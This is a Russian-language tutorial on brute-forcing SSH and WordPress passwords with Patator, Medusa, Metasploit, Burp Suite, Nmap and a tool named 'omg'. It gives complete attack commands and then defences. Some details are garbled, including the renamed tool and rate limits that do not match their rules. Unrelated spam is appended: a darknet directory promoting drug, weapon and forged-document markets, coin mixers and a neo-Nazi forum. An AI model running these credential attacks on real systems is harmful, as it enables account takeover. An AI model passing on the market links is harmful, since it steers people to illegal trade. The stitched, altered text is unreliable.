Brute-force (атака полным перебором) – метод решения математических задач, сложность которого зависит от количества всех возможных решений. Сам же термин brute-force обычно используется в контексте хакерских атак, когда злоумышленник пытается подобрать логин/пароль к какой-либо учетной записи или сервису.Рассмотрим инструменты, которые можно использовать для выполнения brute-force атак на SSH и WEB-сервисы, доступные в Kali Linux (Patator, Medusa, omg, Metasploit), а также BurpSuite.
Все материалы, предоставленные в рамках данной статьи, предназначены для использования исключительно в учебных целях. Использование материалов в противоправных и противозаконных запрещено.
Brute-force SSH Для примера возьмем тестовую машину 192.168.60.50 и попробуем подобрать пароль пользователя test по SSH. Мы будем использовать популярные пароли из стандартного словаря rockyou.txt. Patator Для подбора пароля средствами Patator используем команду:patator ssh_login host=192.168.60.50 user=test password=FILE0 0=/root/wordlist -x ignore:mesg=’Authentication failed’где: ssh_login — необходимый модуль host – наша цель user – логин пользователя, к которому подбирается пароль или файл с логинами для множественного подбора password – словарь с паролями -x ignore:mesg=’Authentication failed’ — команда не выводить на экран строку, имеющую данное сообщение. Параметр фильтрации подбирается индивидуально. omg Для подбора пароля используя omg выполним команду:omg -V -f -t 4 -l test -P /root/wordlist ssh://192.168.60.50где: -V – показывать пару логин+пароль во время перебора -f – остановка как только будет найден пароль для указанного логина -P – путь до словаря с паролями ssh://192.168.60.50 – указание сервиса и IP-адрес жертвы Medusa Для подбора пароля с использованием Medusa выполним команду:medusa -h 192.168.60.50 -u test -P /root/wordlist -M ssh -f -v 6где: -h – IP-адрес жертвы -u – логин -P – путь к словарю -M – выбор модуля -f – остановка после нахождения валидной пары логин/пароль -v – настройка отображения сообщений на экране во время процесса подбора Metasploit Произведем поиск инструмента для проведения brute-force атаки по SSH: search ssh_login и получили ответ:Задействуем модуль:use auxiliary/scanner/ssh/ssh_loginДля просмотра необходимых параметров, воспользуемся командой show options. Для нас это: rhosts – IP-адрес жертвы rport – порт username – логин SSH userpass_file – путь до словаря stop_on_success – остановка, как только найдется пара логин/пароль threads – количество потоковУказание необходимых параметров производится через команду "set".set rhosts 192.168.60.50 set username test set userpass_file /root/wordlist set stop_on_success yes set threads 4 set rport 22Указав необходимые параметры набираем команду "run" и ждем.Противодействие Ограничить количество устанавливаемых соединений с использованием межсетевого экрана. Пример настройки iptables:-A INPUT -i eth0 -p tcp --dport 22 -m connlimit --connlimit-above 1 --connlimit-mask 32 -j REJECT --reject-with tcp-reset.Такое правило установит ограничение доступа к SSH для каждого IP-адреса до 1 соединения в секунду, значительно усложнив перебор. Также эффективным решением может быть использование двухфакторной аутентификации (например, используя eToken) или аутентификации с использованием ключевой пары, а также использование ACL на основе IP-адресов.Brute-force WordPress Рассмотрим другой пример — подбор пароля окна авторизации веб-формы.Для примера будем подбирать пароль от учетной записи администратора wordpress. BurpSuite Для начала нам необходимо понять, как происходит процесс авторизации. Для этого мы будем использовать BurpSuite. Нам необходимо попробовать авторизоваться с любым паролем и логином, чтобы сайт посмотреть какие запросы проходят через BurpSuite.Отлично, мы увидели POST запрос для авторизации с ним мы и будем работать. В BODY указано какой логин и пароль проверялись, а значит, мы можем попробовать самостоятельно подставить нужные нам значения. Передаем этот запрос в Intruder и там выбираем необходимые параметры для атаки. В пункте Payload Positions тип атаки оставляем sniper, но для проверки оставляем только параметр pwd. Таким образом, при атаке будет изменяться только этот параметр.Загружаем необходимый словарь и начинаем атаку.Из поведения веб-приложения мы видим, что неверный пароль возвращает код ответа 200. После перебора словаря, видим, что один из паролей дал ответ с кодом 302 — он и является верным.Данный метод перебора занимает намного больше времени, чем при использовании Patator, omg, Medusa и т.д. Даже с учетом того, что мы взяли небольшой словарь, BurpSuite перебирал словарь около 40 минут. omg Попробуем подобрать пароль с помощью omg. Как мы уже знаем, при неверной авторизации возвращается код 200, а при успешной – 302. Попробуем использовать эту информацию. Для запуска используем команду:omg -V -f -l admin -P /root/wordlist -t 4 http-post-form://192.168.60.50 -m "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1:S=302"Здесь мы указываем обязательные параметры: -l – имя пользователя -P – словарь с паролями -t – количество потоков http-post-form – тип формы, у нас POST. /wp-login.php – это URL страницы с авторизацией ^USER^ — показывает куда подставлять имя пользователя ^PASS^ — показывает куда подставлять пароль из словаря S=302 – указание на какой ответ опираться omg. В нашем случае, ответ 302 при успешной авторизации. Patator Как мы уже знаем, при неудачной авторизации возвращается код 200, а при удачной – 302. Будем использовать тот же принцип, что и с omg: Запуск производится командой:patator http_fuzz url=http://192.168.60.50/wp-login.php method=POST body='log=admin&pwd=FILE0&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1' 0=/root/wordlist -t 4 before_urls=http://192.168.60.50/wp-login.php -x ignore:code=200 accept_cookie=1http_fuzz – модуль для brute-force атаки http url – адрес страницы с авторизацией FILE0 — путь до словаря с паролями body – информация, которая передается в POST запросе при авторизации -t — количество потоков -x – В данном случае мы указали команду не выводить на экран сообщения строки, содержащие параметр с кодом 200 accept_cookie – сохранение параметра cookie и передачи его в следующий запрос Как итог – нам удалось подобрать пароль. Nmap Утилита Nmap позволяет в том числе производить подбор паролей для веб-форм авторизации, если использовать скрипт http-wordpress-brute с соответствующими аргументами: --script-args – добавление аргументов user или userdb – логин или файла с логинами pass или passdb — указание пароля или словаря thread – количество потоков firstonly=true – выводить результат после первого же правильного пароляnmap 192.168.60.50 --script http-wordpress-brute --script-args 'user= admin,passdb= /root/wordlist, http-wordpress-brute.thread=3, brute.firstonly=true'Противодействие Ограничить (усложнить) brute-force атаки на web-приложения можно средствами iptables (по аналогии с SSH) и средствами nginx. Для этого необходимо создать зону лимитов: ... limit_req_zone $binary_remote_addr zone=req_limits:10m rate=30r/s; ...
Такие настройки позволят ограничить количество запросов с одного IP-адреса до 40 в секунду.Усложнить задачу перебора можно используя следующие методы: — Применение межсетевого экрана и прочего ПО для ограничения количества обращений к защищаемому сервису. О том, как мы используем машинное обучение для выявления подобных атак (в том числе распределенных), можно почитать в статье. — Использование средств, препятствующих быстрой проверке корректности ключа (например, Captcha).Заключение В данной статье мы поверхностно рассмотрели некоторые популярные инструменты. Сократить риск подбора пароля можно, следуя следующим рекомендациям: — используйте устойчивые к подбору пароли; — не создавайте пароли, используя личную информацию, например: дату рождения или имя + дата рождения или мобильный телефон; — регулярно меняйте пароль; — на всех аккаунтах применяйте уникальные пароли.Подобные рекомендации (как и рекомендации по безопасной веб-разработке) мало кто соблюдает, поэтому необходимо использовать различные программные решения, позволяющие: — ограничить подключение по IP-адресу, или, если это невозможно, ограничить одновременное количество соединений с сервисом (средствами iptables, nginx и прочими); — использовать двухфакторную аутентификацию; — выявлять и блокировать подобные атаки средствами SIEM, WAF или другими (например, fail2ban).
Новая длинная ссылка на kraken - Рабочее зеркало крамп через тор
Kkkkkkkkkk63ava6.onion - Whonix,.onion-зеркало проекта Whonix. Onion/?x1 - runion форум, есть что почитать vvvvvvvv766nz273.onion - НС форум. Onion - простенький Jabber сервер в торе. На момент публикации все ссылки работали(171 рабочая ссылка). Подборка Marketplace-площадок by LegalRC Площадки постоянно атакуют друг друга, возможны долгие подключения и лаги. Связь доступна только внутри сервера RuTor. Начинание анончика, пожелаем ему всяческой удачи. Pastebin / Записки Pastebin / Записки cryptorffquolzz6.onion - CrypTor одноразовые записки. Onion - OnionDir, модерируемый каталог ссылок с возможностью добавления. Onion/ - 1-я Международнуя Биржа Информации Покупка и продажа различной информации за биткоины. Пользуйтесь на свой страх и риск. Безопасность Tor. Onion/ - Форум дубликатов зеркало форума 24xbtc424rgg5zah. Onion - onelon, анонимные блоги без цензуры. Onion - torlinks, модерируемый каталог.onion-ссылок. Требует включенный JavaScript. Zerobinqmdqd236y.onion - ZeroBin безопасный pastebin с шифрованием, требует javascript, к сожалению pastagdsp33j7aoq. Legal обзор судебной практики, решения судов, в том числе по России, Украине, США. Выбирайте любой понравившийся вам сайт, не останавливайтесь только на одном. Onion - Neboard имиджборд без капчи, вместо которой используется PoW. Зеркало arhivach. Bpo4ybbs2apk4sk4.onion - Security in-a-box комплекс руководств по цифровой безопасности, бложек на английском. Программное обеспечение. Что-то про аниме-картинки пок-пок-пок. Onion - Stepla бесплатная помощь психолога онлайн. Для регистрации нужен ключ PGP, он же поможет оставить послание без адресата. Onion - Ящик, сервис обмена сообщениями. Иногда отключается на несколько часов. Onion - 24xbtc обменка, большое количество направлений обмена электронных валют Jabber / xmpp Jabber / xmpp torxmppu5u7amsed. Но может работать и с отключенным. Топчик зарубежного дарквеба. Мы выступаем за свободу слова.
Рублей и тюремный срок до восьми лет. Продажа «товаров» через даркнет сайты Такими самыми популярными товарами на даркнете считают личные данные (переписки, документы, пароли компромат на известнейших людей, запрещенные вещества, оружие, краденые вещи (чаще всего гаджеты и техника фальшивые деньги (причем обмануть могут именно вас). Нарния - площадка ориентированная преимущественно на марихуану, так же легкие "partydrugs". ProtonMail - достаточно известный и секурный E-Mail сервис, требует JavaScript. QubesOS - зеркало проекта QubesOS, ссылки на загрузку образов системы все равно клирнетовские. Bitcoin Blender - очередной биткоин-миксер, который перетасует ваши битки и никто не узнает, кто же отправил их вам. Just upload stuff - прикольный файловый хостинг в TOR, автоудаление файла после его скачки кем-либо, есть возможность удалять метаданные, ограничение 300MB на файл. Без JavaScript. Аткуальная официальная ссылка и зеркало сайта Матанга / Matanga onion: Зеркало Матанга, для доступа через обычный браузер. НС форум - форум национал-социалистов и расистов. Комиссии.5. Можно добавлять свои или чужие onion-сайты, полностью анонимное обсуждение, без регистрации, JavaScript не нужен. Хакерский форум - "Слово "хакер" неверно используется в значении "компьютерный взломщик" некоторыми журналистами. Sectum - хостинг для картинок, фоток.д., есть возможность создавать альбомы для зареганых пользователей. Самый старый драг-форум клирнета, переехал в Tor. Whonix - зеркало проекта Whonix, ссылки на загрузку образов системы все равно клирнетовские. Архива. На площадке разрешена продажа классических наркотиков, оружия, поддельных документов. В последнее время вылезло много подобных. Недавно мы говорили о том, как оставаться анонимными в сети Tor, а сегодня мы поговорим о том, что мы можем найти и тем более, где найти! Связь доступна только внутри сервера RuTor. (всё по-итальянски) * Финансы Blockchain - пожалуй единственный онлайн bitcoin-кошелёк, которому можно было бы доверить свои монетки. Erlach - зеркало Не работает без JavaScript. Deep Web Radio - радио даркнета. Есть возможность шифрования, комментирования записок.д. Onelon - лента новостей плюс их обсуждение, а также чаны (ветки для быстрого общения). Tumbach - зеркало Работает без JavaScript. Если вам стало интересно, то читайте дальше, ведь в этой статье будет рассказываться об этом загадочном, на первый взгляд, явлении. Не требует JavaScript. Onion - недорогой и секурный луковый хостинг, можно сразу купить onion домен. Бот / Сайт автопродаж 24/7 в TOR. FileDrop - файлдроппер. В продаже вещества, есть разделы для общения на разные тематики.